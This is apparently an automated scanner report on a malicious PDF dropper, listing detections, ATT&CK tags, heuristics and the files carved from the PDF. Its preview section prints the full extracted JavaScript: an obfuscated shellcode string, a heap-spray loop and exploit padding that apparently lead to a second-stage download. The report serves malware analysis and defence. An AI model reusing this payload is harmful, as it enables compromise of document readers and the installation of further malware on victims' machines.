MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file was flagged as malicious by a machine learning classifier and ClamAV, which identified it as 'Pdf.Dropper.Agent-7287680-0'. Heuristics indicate the presence of embedded JavaScript, including the use of `unescape()` for obfuscation. This suggests the script is designed to download and execute a second-stage payload. No specific family could be identified.
Machine Learning
- Nyx PDF Classifier malicious score 0.9492
Heuristics 6
-
ClamAV: Pdf.Dropper.Agent-7287680-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Dropper.Agent-7287680-0
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
ezfnb=unescape(ezfnb); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.iec.ch In PDF document text
Extracted artifacts 18
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0321_001.js |
pdf-javascript-stream | PDF /JS object 321 at offset 0x91473 | 2202 bytes |
SHA-256: 86337aedb15a1ff0a56ae9689d96a30cdb342693e5fe9bd8ddceeca2e2b308e3 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var ezfnb = '%09';
var iuhpipd = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var evasj = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ332FZ6336Z6E6FZ6563Z747XZ2E73Z6F63Z2F6DZ617XZ6B7XZ3161Z6C2FZ7X2EZ7X68Z693FZ363DZ9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
ezfnb=unescape(ezfnb);
iuhpipd=unescape(iuhpipd);
evasj=unescape(evasj);
while (iuhpipd.length * 2 < 0x3fffc8-evasj.length * 2){iuhpipd += iuhpipd;}
iuhpipd = iuhpipd.substr(0, (0x3fffc8-evasj.length * 2) / 2);
var csymcl = new Array();
for (var dsbrhn6 = 0; dsbrhn6 < 47; dsbrhn6 ++ ){csymcl[dsbrhn6] = iuhpipd + evasj;}
while (ezfnb.length < 0x4000)ezfnb += ezfnb;
ezfnb="N." + ezfnb;
|
|||
icc_00_off00016f60.icc |
pdf-icc-profile | PDF ICC profile at offset 0x16F60 | 3144 bytes |
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e |
|||
font_00_cff_off0000438c.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x438C | 6612 bytes |
SHA-256: cf4944c56c01f4a65c36b5010c12128ca3ddbe0e6806e8b147a7b04453bfa751 |
|||
font_01_cff_off0000eba6.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0xEBA6 | 357 bytes |
SHA-256: 38f4ddd32e736897982ced0858b49da07a104e846d0946b9789f4ef370f99eb2 |
|||
font_02_cff_off0000f04f.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0xF04F | 499 bytes |
SHA-256: 2789af23995f8af33b2dae091e9b962494e0b8b0e898fada623820ee9686b3ca |
|||
font_03_cff_off0000f57c.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0xF57C | 2550 bytes |
SHA-256: 755b31802bfcbe5da85fa3b6417005821fa046390579475e59a1b7e221fd17f2 |
|||
font_04_cff_off000102ca.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x102CA | 3369 bytes |
SHA-256: eb7fc9a0f6b5c973d758c18668889ef5241421e8108bf894a9400ecd0930c40c |
|||
font_05_cff_off00011273.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x11273 | 2951 bytes |
SHA-256: ce12ce1ce9ee146def1a9a0aa879316c8283c74b0dab40de60412666b768231d |
|||
font_06_cff_off000120a8.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x120A8 | 5979 bytes |
SHA-256: 650743b0083f4117eafe6d934f210cd07b94d118b25ed99f041916d1b6f42ac7 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact entropy is 7.40, consistent with packed or encrypted content.
|
|||
font_07_cff_off00013928.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x13928 | 1949 bytes |
SHA-256: 91487fd16b17d83908b1ba219ae597731b7158e968667787a056b1d4df0de59a |
|||
font_09_cff_off0001615c.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x1615C | 3996 bytes |
SHA-256: c5675bd2f2b586cbf48ee24f95e1cf91eec1b4928c28c92220efce9ec4db3e29 |
|||
font_10_sfnt_off000197e2.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x197E2 | 23432 bytes |
SHA-256: 2722878b19761e7a433e1ca6f32e7f9fe9cccce4136877b3beb9040f23bd4b18 |
|||
font_11_sfnt_off0001cdb9.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x1CDB9 | 52108 bytes |
SHA-256: 80383e85181b7288bd3f68d71356b7e2ef2e1f0ba00d93e81908469c104a18d9 |
|||
font_12_sfnt_off000254a1.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x254A1 | 48764 bytes |
SHA-256: 336a7a084a76c025a84d5a8cbd6080db9a267cde0e24fe672acabed56b19aa8d |
|||
font_13_cff_off000896fd.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x896FD | 1390 bytes |
SHA-256: b7acc2e77938f52ea0e0e99ad276600cacf4c9a68f9966b0cff658984fc5fdfe |
|||
font_17_cff_off0008e561.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x8E561 | 2026 bytes |
SHA-256: 498107d4b463cdfaabb7ecb0de303a1fd3753cd0475826d8151726b62a86cbb1 |
|||
font_18_cff_off0008f088.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x8F088 | 1370 bytes |
SHA-256: 6b20e84459271e0cdfae9863860320d5b0fe24a40f52c5aa56fd600bf142e820 |
|||
font_22_cff_off00093d8c.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x93D8C | 1230 bytes |
SHA-256: fbf22266dae0292a560fe4992b55ae8d9a60e5393b8105c8e8d7d4434902074f |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.